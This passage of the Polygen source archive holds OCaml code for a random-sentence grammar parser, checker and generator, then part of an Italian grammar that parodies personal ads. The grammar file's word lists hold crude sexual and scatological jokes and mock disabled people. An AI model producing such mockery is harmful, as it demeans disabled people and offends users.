(* shortcuts and sugars *) let seq a loc = (Seq (None, [(a, loc)]), loc) let sub seqs loc = Sub (Std, [], (Prod seqs, loc)) let optsub a loc = sub [seq (Terminal Epsilon) loc; seq a loc] loc let add_decl d (ds, p) = (d :: ds, p) let reserved_nonterm = Fold (NonTerm (Path ([], reserved_sym))) (* a.(l1|...|ln) ---> (X ::= a; X.l1 | ... | X.ln) *) let multisel loc a lbs = let f lb = seq (Sel ((reserved_nonterm, loc), Some lb)) loc in let b = Bind (Def, reserved_sym, (Prod [(Seq (None, [a]), loc)], loc)) in Fold (Sub (Std, [(b, loc)], (Prod (map f lbs), loc))) let posel loc atomss = let n = fold_left (fun z atoms -> max z (length atoms)) 1 atomss in if n = 1 then map hd atomss else let f n = function [atom] -> atom | atoms -> try nth atoms n with _ -> Err.error loc "etherogeneous number of positional atoms in production" in let seqs = tab (fun n -> (Seq (None, map (f n) atomss), loc)) n in [(Fold (Sub (Std, [], (Prod seqs, loc))), loc)] (* plus/minus expander *) let expand l = let rec make n x = if n = 0 then [] else x :: (make (n-1) x) in let k = let l' = sort (fun (n, _) (n', _) -> compare n n') l in match l' with [] -> raise (Unexpected "parser.mly: expand") | (k, _) :: _ -> k in fold_left (fun z (n, x) -> z @ (make (n-k+1) x)) [] l (* deep unfolder *) let rec deep_unfold_unfoldable u = match u with NonTerm _ -> u | Sub (sm, decls, p) -> Sub (sm, decls, deep_unfold_prod p) and deep_unfold_atom (a, loc) = match a with Fold u | Unfold u -> (Unfold (deep_unfold_unfoldable u), loc) | Sel (a', lbo) -> (Sel (deep_unfold_atom a', lbo), loc) | _ -> (a, loc) and deep_unfold_seq (Seq (lbo, atoms), loc) = (Seq (lbo, map deep_unfold_atom atoms), loc) and deep_unfold_prod (Prod seqs, loc) = (Prod (map deep_unfold_seq seqs), loc) %} %token EOF EOL %token NONTERM TERM QUOTE DOTLABEL %token DEF ASSIGN PIPE SQBRA SQKET BRA KET GT GTGT CBRA CKET DOT PLUS MINUS COMMA COLON CAP UNDERSCORE DOTBRA BACKSLASH LTLT LT IMPORT AS SLASH STAR %start source %type source %start quote %type quote %% quote: QUOTE { $1 } ; file: QUOTE { $1 } ; source: decls EOF { $1 } ; decls: decl EOL { [($1, localize 1)] } | decl EOL decls { ($1, localize 1) :: $3 } ; decl: NONTERM DEF prod { Bind (Def, $1, $3) } | NONTERM ASSIGN prod { Bind (Assign, $1, $3) } | IMPORT file AS NONTERM { Import ($4, load_decls $2) } ; op: PLUS { 1 } | MINUS { -1 } ; modif: op { $1 } | op modif { $1 + $2} ; atom: atom_ { ($1, localize 1) } ; seq: seq_ { ($1, localize 1) } ; prod: prod_ { ($1, localize 1) } ; atom_: terminal { Terminal $1 } | unfoldable { Fold $1 } | GT unfoldable { Unfold $2 } | LT unfoldable { Lock $2 } | atom DOT { Sel ($1, None) } | atom DOTLABEL { Sel ($1, Some $2) } | atom DOTBRA labels KET { multisel (localizes 1 4) $1 $3 } ; terminal: term { Term $1 } | CAP { Concat } | UNDERSCORE { Epsilon } | BACKSLASH { Capitalize } ; unfoldable: path { NonTerm (Path (tl $1, hd $1)) } | BRA sub KET { let (decls, p) = $2 in Sub (Std, decls, p) } /* (D; P)+ ---> (X ::= (D; P) (_ | X); X) */ | BRA sub KET PLUS { let (decls, p) = $2 in let loc = localize 2 in let sub' = (Fold (Sub (Std, decls, p)), loc) in let x = reserved_nonterm in let seq' = (Seq (None, [sub'; (Fold (optsub x loc), loc)]), loc) in let decl = (Bind (Def, reserved_sym, (Prod [seq'], loc)), loc) in let p = (Prod [seq x loc], loc) in Sub (Std, [decl], p) } /* [D; P] ---> ((D; P) | _) */ | SQBRA sub SQKET { let (decls, p) = $2 in optsub (Fold (Sub (Std, decls, p))) (localize 2) } | CBRA sub CKET { let (decls, p) = $2 in Sub (Mob, decls, p) } /* >> D; P << ---> (D; >> P <<) */ | GTGT sub LTLT { let (decls, p) = $2 in Sub (Std, decls, (deep_unfold_prod p)) } ; /* the following replication is needed for making Yacc lookahead */ sub: prod { ([], $1) } | NONTERM DEF prod EOL prod { ([(Bind (Def, $1, $3), localizes 1 3)], $5) } | NONTERM DEF prod EOL sub { add_decl (Bind (Def, $1, $3), localizes 1 3) $5 } | NONTERM ASSIGN prod EOL prod { ([(Bind (Assign, $1, $3), localizes 1 3)], $5) } | NONTERM ASSIGN prod EOL sub { add_decl (Bind (Assign, $1, $3), localizes 1 3) $5 } | IMPORT file AS NONTERM EOL prod { ([(Import ($4, load_decls $2), localizes 1 4)], $6) } | IMPORT file AS NONTERM EOL sub { add_decl (Import ($4, load_decls $2), localizes 1 4) $6 } ; atoms: atom { [$1] } | atom COMMA atoms { $1 :: $3 } ; seq0: atoms { [$1] } | atoms seq0 { $1 :: $2 } ; seq_: seq0 { Seq (None, posel (localize 1) $1) } | label COLON seq0 { Seq (Some $1, posel (localizes 1 3) $3) } ; modif_seq: seq { (0, $1) } | modif seq { ($1, $2) } ; prod0: modif_seq { [$1] } | modif_seq PIPE prod0 { $1 :: $3 } ; prod_: prod0 { Prod (expand $1) } ; label: NONTERM { $1 } | TERM { $1 } ; modif_label: label { (0, $1) } | modif label { ($1, $2) } ; multilabels: modif_label { [$1] } | modif_label PIPE multilabels { $1 :: $3 } ; labels: multilabels { expand $1 } ; term: TERM { $1 } | QUOTE { $1 } | IMPORT { "import" } | AS { "as" } ; path: NONTERM { [$1] } | path SLASH NONTERM { $3 :: $1 } ; %% polygen-1.0.6.ds2/src/main.ml0000644000175000017500000001237310340427442015255 0ustar enricoenrico(* * Polygen * main.ml: main code * * Alvise Spano' (2002-03) *) open Printf open List open Prelude open Prelude open Absyn open Check open Pre open Gen open Err open Io (* argument parsing *) type mode = Check | Preprocess | Generate let mode = ref Generate let times = ref 1 let start = ref "S" let sources = ref [] let dest = ref stdout let ps = ref false let seed = ref None let help = ref false let eof = ref "\n" let verbose = ref false let lbs = ref LabelSet.empty let specl = [("-eof", Arg.String (fun s -> eof := let lexbuf = Lexing.from_string ("\"" ^ s ^ "\"") in try Parser.quote Lexer.token lexbuf with Failure s -> arg_error (s ^ " in -eof argument") | Parsing.Parse_error -> arg_error "parse error in -eof argument"), "STR use string STR as end-of-file (default: STR = \"\\n\")"); ("-help", Arg.Set help, " display this help message"); ("-info", Arg.Unit (fun () -> start := "I"), " alias for '-S I'"); ("-l", Arg.String (fun s -> lbs := LabelSet.add s !lbs), "LABEL add LABEL to initial active label environment"); ("-o", Arg.String (fun s -> dest := try open_out s with Sys_error _ -> io_error ("cannot open file '" ^ s ^ "' for output")), "DEST output to DEST file"); ("-pedantic", Arg.Unit (fun () -> Err.warning_level := Err.max_warning_level), "set warning level to maximum"); ("-pre", Arg.Unit (fun () -> mode := Preprocess), " output preprocessed source grammar"); ("-seed", Arg.Int (fun n -> seed := Some n; Gen.do_shuffle := false), "N pass unsigned integer N as random seed"); ("-S", Arg.String (fun s -> start := s), "SYM use SYM as starting non-terminal symbol (default: SYM = S)"); ("-t", Arg.Unit (fun () -> mode := Check; Check.do_report_groups := true), " check source grammar and output inferred global label groups"); ("-v", Arg.Set verbose, " be verbose"); ("-X", Arg.Int (fun n -> times := n), "N iterate generation for N times (default: N = 1)"); ("-W", Arg.Int (fun n -> Err.warning_level := n), "N set warning pedantry at level N (default: N = 1)"); ] let usage = (sprintf "Polygen (type 2) v%s built %s - http://www.polygen.org\n" Ver.ver Ver.date) ^ "Manta/Spinning Kids alias Alvise Spano' anno MMII ac insequenti fecit.\n\n" ^ "usage: polygen [OPTION]... SOURCES...\n\n" ^ " SOURCE source file(s) providing grammar definition\n\n" ^ " OPTION" let _ = if (Array.length Sys.argv) < 2 || !help then (Arg.usage specl usage; exit 0) else let anon s = sources := !sources @ [s] in Arg.parse specl anon usage (* auxiliary stuff *) let _ = (match !seed with None -> Random.self_init (); seed := Some (Random.bits ()) | Some _ -> ()); Random.init (surely_some !seed) let msg s = if !verbose then (fprintf !dest "* %s\n" s; flush !dest) else () let get_decls0 source = let decls = msg ("loading source file \"" ^ source ^ "\"..."); load_decls source in let _ = msg "checking grammar..."; Check.check !lbs decls !start in let _ = flush stderr; flush stdout in decls let get_decls1 source = let decls0 = get_decls0 source in msg "preprocessing grammar..."; Pre.pre decls0 (* main *) let main source = match !mode with Check -> ignore (get_decls0 source) | Preprocess -> fprintf !dest "%s\n" (Absyn1.pretty_decls "" (get_decls1 source)) | Generate -> (* load complied or source grammar *) let decls = try msg "loading compiled grammar..."; load_obj source with Failure s -> msg s; get_decls1 source in (* generate *) msg ("PRNG seed: " ^ (string_of_int (surely_some !seed))); msg ("EOF string: \"" ^ (String.escaped !eof) ^ "\""); msg ("initial label environment: " ^ LabelSet.pretty !lbs) ; msg ("generator output:"); for i = 1 to !times do fprintf !dest "%s%s" (Gen.gen !lbs decls !start) !eof done; (* store compiled grammar *) try msg "storing compiled grammar..."; store_obj source decls with Failure s -> msg s ;; (* main code *) try iter main !sources; close_out !dest with Unexpected s -> eprintf "Unexpected termination: %s\n* Please send a bug report to the author at manta@polygen.org" s polygen-1.0.6.ds2/src/load.ml0000644000175000017500000000004010340417034015230 0ustar enricoenrico let load_decls = Io.load_decls polygen-1.0.6.ds2/src/VERSION0000644000175000017500000000000610340417034015031 0ustar enricoenrico1.0.6 polygen-1.0.6.ds2/src/check.ml0000644000175000017500000003741310340417034015404 0ustar enricoenrico(* * Polygen * check.ml: grammar checker * * Alvise Spano' (2002) *) open List open Printf open Prelude open Prelude open Absyn open Env open Err module Check = struct module A = Absyn0 (* global settings *) let do_report_groups = ref false (* LabelSet with loc *) module LabelLoc : Set.OrderedType with type t = symbol * Err.loc option = struct type t = symbol * Err.loc option let compare (lb1, _) (lb2, _) = compare lb1 lb2 end module LabelLocSet = struct include Set.Make (LabelLoc) let of_labels labels = List.fold_left (fun lbs lb -> add (lb, None) lbs) empty labels let occurs lb lbs = mem (lb, None) lbs let pretty lbs = "{ " ^ (flatten_strings ", " (map fst (elements lbs))) ^ " }" end (* label group and group set *) type group = Closed of LabelSet.t | Open of LabelSet.t module Group = struct type t = group let pretty = function Closed lbs -> LabelSet.pretty lbs | Open lbs -> "?" ^ (LabelSet.pretty lbs) let compare g1 g2 = match (g1, g2) with (Open lbs1, Open lbs2) | (Closed lbs1, Closed lbs2) -> LabelSet.compare lbs1 lbs2 | _ -> 1 end module GroupSet = Set.Make (Group) (* unique ids *) type uid = path * int let counter = ref 0 let fresh sym = (Path ([], sym), (incr counter; !counter)) (* branch and circuits *) module Branch = struct type t = uid * LabelLocSet.t let (=) (uid, lbs) (uid', lbs') = uid = uid' && LabelLocSet.equal lbs lbs' end module BranchCache = Prelude.Cache (Branch) let pretty_branches bs = let paths = map (fun ((path, _), _) -> path) bs in let pathss = map pretty_path ((nth paths (length paths - 1)) :: paths) in flatten_strings "->" pathss (* termination magic ring *) type termination = Zero | Epsilon of Err.loc | WeakEpsilon of Err.loc | Term | Unterm of Err.loc * Branch.t list let reduce_seq = function (Zero, t) | (t, Zero) -> t | (Unterm (loc, bs), Unterm _) -> Unterm (loc, bs) | (Epsilon loc, Epsilon _) -> Epsilon loc | (WeakEpsilon loc, WeakEpsilon _) | (Epsilon _, WeakEpsilon loc) | (WeakEpsilon loc, Epsilon _) -> WeakEpsilon loc | (Unterm (loc, bs), _) | (_, Unterm (loc, bs)) -> Unterm (loc, bs) | (Term, _) | (_, Term) -> Term let reduce_prod = function (Zero, t) | (t, Zero) -> t | (Unterm (loc, bs), Unterm _) -> Unterm (loc, bs) | (Epsilon loc, Epsilon _) -> Epsilon loc | (WeakEpsilon loc, WeakEpsilon _) -> WeakEpsilon loc | (Epsilon _, WeakEpsilon loc) | (WeakEpsilon loc, Epsilon _) -> WeakEpsilon loc | (Term, Term) -> Term | (Unterm _, t) | (t, Unterm _) -> t | (Term, Epsilon loc) | (Term, WeakEpsilon loc) | (Epsilon loc, Term) | (WeakEpsilon loc, Term) -> WeakEpsilon loc (* side checkers *) let check_override decls = let f (nonterms, imports) (decl, loc) = match decl with A.Bind (_, sym, _) -> if exists ((=) sym) nonterms then error loc (sprintf "overriding of non-terminal symbol '%s'" sym) else (sym :: nonterms, imports) | A.Import (sym, _) -> if exists ((=) sym) imports then error loc (sprintf "overriding of import path symbol '%s'" sym) else (nonterms, sym :: imports) in ignore (fold_left f ([], []) decls) let check_useless_permutations atoms = let f z (a, loc) = let rec recur a = match a with ( A.Fold (A.Sub (A.Mob, _, _)) | A.Unfold (A.Sub (A.Mob, _, _)) | A.Lock (A.Sub (A.Mob, _, _))) -> true | A.Sel ((a', _), _) -> recur a' | _ -> false in if recur a then loc :: z else z in match fold_left f [] atoms with [loc] -> warning 2 loc "useless permutation" | _ -> () let check_useless_unfoldings (a, loc) = match a with A.Unfold (A.Sub (_, _, (A.Prod seqs, _))) -> if length seqs == 1 then warning 2 loc "useless unfolding" else () | _ -> () (* * checkers *) (* flat checker: * existence of non-terminals * useless permutations *) let rec check_flat decls = let declare env decls = let f (decl, _) = match decl with A.Bind (_, sym, p) -> (sym, p) | A.Import _ -> raise (Unexpected ("import not supported yet")) in Env.bind env (map f decls) in let rec check_decls env decls = let f (decl, _) = match decl with A.Bind (_, _, p) -> check_prod env p | A.Import _ -> raise (Unexpected ("import not supported yet")) in iter f decls and check_prod env (A.Prod seqs, _) = iter (check_seq env) seqs and check_seq env (A.Seq (_, atoms), _) = check_useless_permutations atoms; iter (check_atom env) atoms and check_atom env (a, loc) = match a with A.Terminal _ -> () | A.Sel (a, _) -> check_atom env a | A.Lock (A.NonTerm path) | A.Fold (A.NonTerm path) | A.Unfold (A.NonTerm path) -> (try ignore (Env.lookup env path) with Not_found -> error loc (sprintf "undefined non-terminal symbol '%s'" (pretty_path path))) | A.Lock (A.Sub (_, decls, p)) | A.Fold (A.Sub (_, decls, p)) | A.Unfold (A.Sub (_, decls, p)) -> let env' = declare env decls in let _ = check_decls env' decls in check_prod env' p in check_decls (declare Env.empty decls) decls (* unfolding checker: * cyclic unfoldings * useless unfoldings *) let rec check_unfolding decls = let declare env decls = let f (decl, _) = match decl with A.Bind (m, sym, p) -> (sym, (fresh sym, m, p)) | A.Import _ -> raise (Unexpected ("import not supported yet")) in Env.bind env (map f decls) in let rec check_decls env uids decls = let f (decl, _) = match decl with A.Bind (_, sym, p) -> let (uid, _, _) = Env.lookup env (Path ([], sym)) in check_prod env (uid :: uids) p | A.Import _ -> raise (Unexpected ("import not supported yet")) in iter f decls and check_prod env uids (A.Prod seqs, _) = iter (check_seq env uids) seqs and check_seq env uids (A.Seq (_, atoms), _) = iter (check_atom env uids) atoms and check_atom env uids (a, loc) = let _ = check_useless_unfoldings (a, loc) in match a with A.Terminal _ -> () | A.Sel (a, _) -> check_atom env uids a | A.Lock (A.NonTerm _) | A.Fold (A.NonTerm _) -> () | A.Unfold (A.NonTerm path) -> let (uid, m, p) = Env.lookup env path in let _ = match m with A.Assign -> warning 2 loc (sprintf "unfolding of assignment-bound symbol '%s'" (pretty_path path)) | _ -> () in if occurs uids uid then error loc (sprintf "cyclic unfolding of symbol '%s'" (pretty_path path)) else check_prod env (uid :: uids) p | A.Lock (A.Sub (_, decls, p)) | A.Fold (A.Sub (_, decls, p)) | A.Unfold (A.Sub (_, decls, p)) -> let env' = declare env decls in let _ = check_decls env' uids decls in check_prod env' uids p in check_decls (declare Env.empty decls) [] decls (* termination checker * destructive selection * cyclic recursion * epsilon-production * label group inference *) let report_groups (sym, loc) gs = if !do_report_groups then let gs = filter (fun (Open lbs | Closed lbs) -> not (LabelSet.is_empty lbs)) (GroupSet.elements gs) in let gs = let f = function Open _ -> true | Closed _ -> false in let (ogs, cgs) = partition f gs in cgs @ ogs in let prefix = sym ^ " :: " in let tab = String.make (String.length prefix) ' ' in match gs with [] -> info loc (prefix ^ "?{}") | g :: gs -> minfo loc (prefix ^ (Group.pretty g)) (map (fun g -> tab ^ (Group.pretty g)) gs) else () let report_termination sym t = match t with Zero -> raise (Unexpected ("check.ml: report")) | Unterm (loc, bs) -> error loc (sprintf "cyclic recursion over circuit %s" (pretty_branches bs)) | Epsilon loc -> error loc (sprintf "symbol '%s' always produces nothing" sym) | WeakEpsilon loc -> warning 1 loc (sprintf "symbol '%s' may produce nothing" sym) | Term -> () type args = { lbs : LabelLocSet.t; branches : Branch.t list; env : (uid * A.prod) Env.t } let cache : (GroupSet.t * termination) BranchCache.t = BranchCache.init () let check_termination lbs decls start = let rec declare env decls = let _ = check_override decls in let f (decl, _) = match decl with A.Bind (_, sym, p) -> (sym, (fresh sym, p)) | A.Import _ -> raise (Unexpected "import not supported yet") in Env.bind env (map f decls) and check_bind r (sym, loc) = branch (r, loc, Path ([], sym)) and check_nested_decls r decls = let f r (decl, loc) = match decl with A.Bind (A.Assign, sym, _) -> let (_, t) = check_bind r (sym, loc) in report_termination sym t | A.Bind (A.Def, _, _) -> () | A.Import (_, decls') -> check_nested_decls {branches = []; env = Env.empty; lbs = LabelLocSet.empty} decls' in iter (f r) decls and check_global_decls r decls = let report sym loc = let (gs, t) = check_bind r (sym, loc) in report_termination sym t; report_groups (sym, loc) gs in let f r (decl, loc) = match decl with A.Bind (A.Assign, sym, _) -> report sym loc | A.Bind (A.Def, sym, _) when sym = start -> report sym loc | A.Bind (A.Def, _, _) -> () | A.Import (_, decls') -> check_global_decls {branches = []; env = Env.empty; lbs = LabelLocSet.empty} decls' in iter (f r) decls and check_atom r (a, loc) = match a with A.Terminal t -> (match t with A.Epsilon | A.Capitalize | A.Concat -> (GroupSet.empty, Epsilon loc) | A.Term sym -> (GroupSet.empty, Term)) | A.Sel (a', None) -> check_atom {r with lbs = LabelLocSet.empty} a' | A.Sel (a', Some lb) -> let (gs, t) = check_atom {r with lbs = LabelLocSet.add (lb, Some loc) r.lbs} a' in let gs' = GroupSet.filter (fun (Closed lbs | Open lbs) -> not (LabelSet.occurs lb lbs)) gs in (gs', t) | A.Lock (A.NonTerm path) | A.Fold (A.NonTerm path) | A.Unfold (A.NonTerm path) -> branch (r, loc, path) | A.Lock (A.Sub (_, decls, p)) | A.Fold (A.Sub (_, decls, p)) | A.Unfold (A.Sub (_, decls, p)) -> let r' = {r with env = declare r.env decls} in let _ = check_nested_decls r' decls in check_prod r' p and check_seq r (A.Seq (_, atoms), _) = let f (gs, t) a = let (gs', t') = check_atom r a in (GroupSet.union gs gs', reduce_seq (t, t')) in fold_left f (GroupSet.empty, Zero) atoms and check_prod r (A.Prod seqs, loc) = let g = let lbs = let f z = function (A.Seq (None, _), _) -> z | (A.Seq (Some lb, _), _) -> LabelSet.add lb z in fold_left f LabelSet.empty seqs in if let f = function (A.Seq (None, _), _) -> true | (A.Seq (Some _, _), _) -> false in exists f seqs then Open lbs else Closed lbs in let (gs, t) = let seqs' = if LabelLocSet.is_empty r.lbs then seqs else let f (A.Seq (lbo, _), _) = match lbo with None -> true | Some lb -> LabelLocSet.occurs lb r.lbs in filter f seqs in if length seqs' = 0 then let ss = let f (lb, loco) = let where = match loco with Some loc -> localized_msg loc | None -> "at top level" in "'" ^ lb ^ "' activated " ^ where in map f (LabelLocSet.elements r.lbs) in mwarning 1 loc "destructive selection" ("due to current label environment:" :: ss); (GroupSet.empty, Epsilon loc) else let f (gs, t) seq = let (gs', t') = check_seq r seq in (GroupSet.union gs gs', reduce_prod (t, t')) in fold_left f (GroupSet.empty, Zero) seqs' in (GroupSet.add g gs, t) and branch (r, loc, path) = let (uid, p) = Env.lookup r.env path in BranchCache.load cache (uid, r.lbs) (lazy (branch_ (r, loc, uid, p))) and branch_ (r, loc, uid, p) = match tail_segment (Branch.(=) (uid, r.lbs)) r.branches with [] -> check_prod {r with branches = (uid, r.lbs) :: r.branches} p | branches -> (GroupSet.empty, Unterm (loc, branches)) in let r = { lbs = LabelLocSet.of_labels (LabelSet.elements lbs); branches = []; env = declare Env.empty decls } in check_global_decls r decls (*let (_, loc) = find (function (A.Bind (_, sym, _), _) -> sym = start | _ -> false) decls in*) (*let (gs, t) = check_bind r (start, loc) in report_termination start t; report_groups (start, loc) gs*) (* main check *) let check lbs decls start = let _ = try ignore (find (function (A.Bind (_, sym, _), _) -> sym = "I" | _ -> false) decls) with Not_found -> uwarning 1 "undefined symbol 'I': option -info won't work" in let _ = try find (function (A.Bind (_, sym, _), _) -> sym = start | _ -> false) decls with Not_found -> uerror (sprintf "undefined start symbol '%s'" start) in check_flat decls; check_unfolding decls; (*check_termination lbs decls start;*) end polygen-1.0.6.ds2/src/absyn.ml0000644000175000017500000000654010340417034015440 0ustar enricoenrico(* * Polygen * absyn.ml: abstract syntax definition * * Alvise Spano' (2002) *) open Prelude open Prelude open List (* path type for non-terminal symbols *) type path = Path of symbol list * symbol let pretty_path (Path (ps, sym)) = match ps with [] -> sym | _ -> (flatten_strings "/" ps) ^ "/" ^ sym module Absyn0 = struct type sub_mode = Std | Mob type bind_mode = Def | Assign type atom' = Terminal of terminal | Sel of atom * symbol option | Fold of unfoldable | Unfold of unfoldable | Lock of unfoldable and terminal = Epsilon | Concat | Capitalize | Term of symbol and unfoldable = NonTerm of path | Sub of sub_mode * decl list * prod and seq' = Seq of symbol option * atom list and prod' = Prod of seq list and decl' = Bind of bind_mode * symbol * prod | Import of symbol * decl list and atom = atom' * Err.loc and seq = seq' * Err.loc and prod = prod' * Err.loc and decl = decl' * Err.loc end module Absyn1 = struct type bind_mode = Def | Assign type atom = Terminal of terminal | NonTerm of path | Sel of atom * symbol option | Sub of decl list * prod and terminal = Epsilon | Concat | Capitalize | Term of symbol and seq = Seq of symbol option * atom list * int ref and prod = Prod of seq list and decl = Bind of bind_mode * symbol * prod (* pretty stringing *) let tab ind s = ind ^ (String.make (String.length s) ' ') let rec pretty_atom ind a = match a with Terminal t -> pretty_terminal t | NonTerm path -> pretty_path path | Sel (a', lbo) -> let suff = match lbo with None -> "." | Some lb -> "." ^ lb in (pretty_atom ind a') ^ suff | Sub ([], (Prod [_] as p)) -> "(" ^ (pretty_prod ind p) ^ ")" | Sub (decls, p) -> let tabs = "( " in let ind' = tab ind tabs in let d = match decls with [] -> "" | _ -> (pretty_decls ind' decls) ^ ind' in tabs ^ d ^ (pretty_prod ind' p) ^ " )" and pretty_terminal t = match t with Epsilon -> "_" | Concat -> "^" | Capitalize -> "\\" | Term s -> "\"" ^ (String.escaped s) ^ "\"" and pretty_seq ind (Seq (lbo, atoms, r)) = let lb = match lbo with None -> "" | Some lb -> lb ^ ": " in lb ^ (mappen_strings (pretty_atom ind) ("\n" ^ ind) atoms) and pretty_prod ind (Prod p) = mappen_strings (pretty_seq ind) ("\n" ^ ind ^ "\b\b| ") p and pretty_decl ind (Bind (dm, sym, p)) = let b = match dm with Def -> "::=" | Assign -> ":=" in let tabs = sym ^ " " ^ b ^ " " in tabs ^ (pretty_prod (tab ind tabs) p) and pretty_decls ind decls = (mappen_strings (pretty_decl ind) (";\n" ^ ind) decls) ^ ";\n" end module Absyn2 = struct type terminal = Epsilon | Concat | Capitalize | Term of symbol end polygen-1.0.6.ds2/src/gen.ml0000644000175000017500000000676710340417034015110 0ustar enricoenrico(* * Polygen * gen.ml: generator * * Alvise Spano' (2002) *) open List open Prelude open Prelude open Absyn open Err open Env open Lazy module Gen = struct module A = Absyn1 module B = Absyn2 (* global settings *) let do_shuffle = ref true (* postprocessor *) let rec post cap spc l = match l with [] -> "" | B.Epsilon :: l' -> post cap spc l' | B.Concat :: l' -> post cap "" l' | B.Capitalize :: l' -> post String.capitalize spc l' | B.Term s :: l' -> spc ^ (cap s) ^ (post (fun s -> s) " " l') (* selectors *) let plain_select seqs = nth seqs (Random.int (length seqs)) let shuffle_select seqs = let seqs' = sort (fun (A.Seq (_, _, r1)) (A.Seq (_, _, r2)) -> compare !r1 !r2) seqs in let A.Seq (_, _, max) = nth seqs' (length seqs' - 1) in let rec seek seqs n = match seqs with [] -> raise (Unexpected "gen.ml: select") | [x] -> x | (A.Seq (_, _, r) as x) :: ps -> let n' = n - (!max - !r + 1) in if n' <= 0 then x else seek ps n' in let n = fold_left (fun z (A.Seq (_, _, r)) -> z + (!max - !r + 1)) 0 seqs' in let A.Seq (_, _, r) as x = seek seqs' (Random.int (n + 1)) in r := !r + 1; x (* generator *) let gen lbs decls sym = let select = if !do_shuffle then shuffle_select else plain_select in let rec declare env lbs decls = let rec env'= lazy (Env.bind env (map f decls)) and f = function A.Bind (A.Def, sym, p) -> (sym, fun lbs -> gen_prod (force env') lbs p) | A.Bind (A.Assign, sym, p) -> let x = ref None in (sym, fun _ -> match !x with None -> let x' = gen_prod (force env') lbs p in x := Some x'; x' | Some x' -> x') in force env' and gen_atom env lbs a = match a with A.Terminal t -> (match t with A.Epsilon -> [B.Epsilon] | A.Concat -> [B.Concat] | A.Capitalize -> [B.Capitalize] | A.Term sym -> [B.Term sym]) | A.NonTerm path -> (Env.lookup env path) lbs | A.Sel (a', None) -> gen_atom env LabelSet.empty a' | A.Sel (a', Some lb) -> gen_atom env (LabelSet.add lb lbs) a' | A.Sub (decls, p) -> gen_prod (declare env lbs decls) lbs p and gen_seq env lbs (A.Seq (_, atoms, _)) = flatten (map (gen_atom env lbs) atoms) and gen_prod env lbs (A.Prod seqs) = let seqs' = if LabelSet.is_empty lbs then seqs else let f (A.Seq (lbo, _, _)) = match lbo with None -> true | Some lb -> LabelSet.mem lb lbs in filter f seqs in match seqs' with [] -> [B.Epsilon] | _ -> gen_seq env lbs (select seqs') in let env = declare Env.empty lbs decls in let terms = gen_atom env lbs (A.NonTerm (Path ([], sym))) in post (fun x -> x) "" terms endpolygen-1.0.6.ds2/grm/0000755000175000017500000000000010340430663013766 5ustar enricoenricopolygen-1.0.6.ds2/grm/ita/0000755000175000017500000000000010340430663014543 5ustar enricoenricopolygen-1.0.6.ds2/grm/ita/annunci.grm0000644000175000017500000001514310340417034016706 0ustar enricoenricoI ::= "title: Annunci\n" ^ "author: Sandolo <sandman@paranoici.org>\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "created: 9/12/2002" ; (* Il 99% del testo di questo sottostante delirio e' stato preso da una mail *) (* di "Fabio Calissi" (cut&paste della mail), postata *) (* sul newsgroup it.hobby.umorismo. Io (sand) ho aggiunto qualcosina, ho *) (* messo il tutto in formato grammaticaPerPolygen, poi qualcuno come _lobo *) (* mi ha suggerito qualche correzione :P -sand *) S ::= \ (Gh Soggetto | Soggetto Gh) [^"," (Male|Amante) ^"," ] ((Cosa Azione) | (cerca|offre) Cerca Per) ^"."\ [(astenersi | no) Finale ^"."\ [si Finale ^"."]] ; (* soggetto godrebbe guardando (condizionale, gerundio) *) Cosa ::= coronerebbe sogno | godrebbe | si sentirebbe realizzato | eiacula | saltella di gioia | si convertirebbe al >(cristianesimo | buddismo | ateismo | fancazzismo | masochismo | fanatismo religioso | travestitismo | polimorfismo) | sorseggierebbe >(ambrosia | nettare | sperma | vino novello | coca cola | fanta | orina | melma | lava) | si impiccherebbe | passerebbe al >(^la (cocaina | speed | ketamina | novalgina) | ^l'eroina) | racconterebbe propria vita a "Maria De" "Filippi" | esploderebbe | distruggerebbe presepi | impersonerebbe "Maga Mago'" ; Soggetto ::= pensionato | boscaiolo | metronotte | uomo | baffo | muratore | palestrato | monaco | nano | arrotino | monarca | nazista | cantastorie | ruttatore | palombaro | barbone | fotografo | operaio | professore | pugile | prete | gigolo' | faraone | pifferaio | maniscalco | spazzacamino | pagliaccio ; Gh ::= rumeno | intrepido | 40enne | sorridente | tetraplegico | esuberante | acrobata | arrendevole | dolcissimo | incoerente | giovane | abile | edonista | ciclista | menomato | attempato | focomelico | barese | diabetico | alcolizzato | mutilato | ceruleo ; Male ::= privo degli arti | bisessuale | fine esteta | vittimista | ex cameriera | barba petto villoso | fisico asciutto | amante passeggiate (lago | discarica | cimitero) | amante frittate di merdura | amante travestimento | sabaudo | segreto esoterista | amante giochi telefonici | miope | ottima famiglia | affetto vertigini | (lieve | grave ) difetto fisico | cartomante esperto | passivo | ossessionato findus ; Azione ::= officiando rito orgiastico sabbatico [Con] | +se Soggetto Gh mi Mi [recitando (ricette di sughi | la divina commedia | l'amleto)] | masturbandosi ferocemente assistendo sevizia propio clone su sedia a dondolo da parte di Soggetto Male | dipingendo ad aerografo col culo | pigolando con indosso sandali e bermuda verso masculo 30enne Gh | conoscendo Male con problemi prostata | appellandosi santa inquisizione causa ossessione ragadi | invitando coppia buttafuori effemminati a escursione casa mia | conoscendo burattinaio Male per notti all'insegna del comando | trovando pollastrina con intensa ovulazione che gli cachi nel piatto a scopo alimentare | cedendo colf ermafrodita zoppa in cambio di un tavolino a 3 piedi [anche traballante] | confezionando pratici astucci penici illustranti racconti celebri figure di merda | trovando orsacchiotto autoritario per essere iniziato ai piaceri della passivita' | trovando nano da lancio per serate sportive all'insegna della gommapiuma | trovando difensore ufficio Male | abdicando scopo amicizia in favore di [grottesco] Soggetto bendato | cambiando sesso scopo propria elezione a papessa col nome "Cinzia I" | conoscendo scopo tortura incompetente studentessa obesa soggiogata "TV" | trovando impiego tuttofare ; (*Mi ...*) Mi ::= irrora di pioggia dorata | (caga | vomita ) sul >(petto | volto | ^l'addome | ventre | ^le (gambe | braccia) | divano | ritratto di famiglia | busto del "Duce" | ^la porta di casa | ^l'orologio | menisco | ^l'ombelico | ^la stampante | ^la tastiera | frigorifero | computatore | modem | ^le scarpe | ^lo stereo | ^la madre | ^l'obelisco egiziano | feticcio di "Berlusconi" | ^l'artefatto >(africano | mongolo | zelota | cristiano | turco | neozelandese) | mondo) | pota le aiuole | presenta "Topo Gigio" | regala gardenia rampicante [transgenica] ; Con ::= con (coppia di nani (mutilati | sordi | zoppi) | "Sbirulino" e "Dodo'" | "Maurizio Costanzo" | il "Gabibbo" | "Satana" | Amante | Soggetto 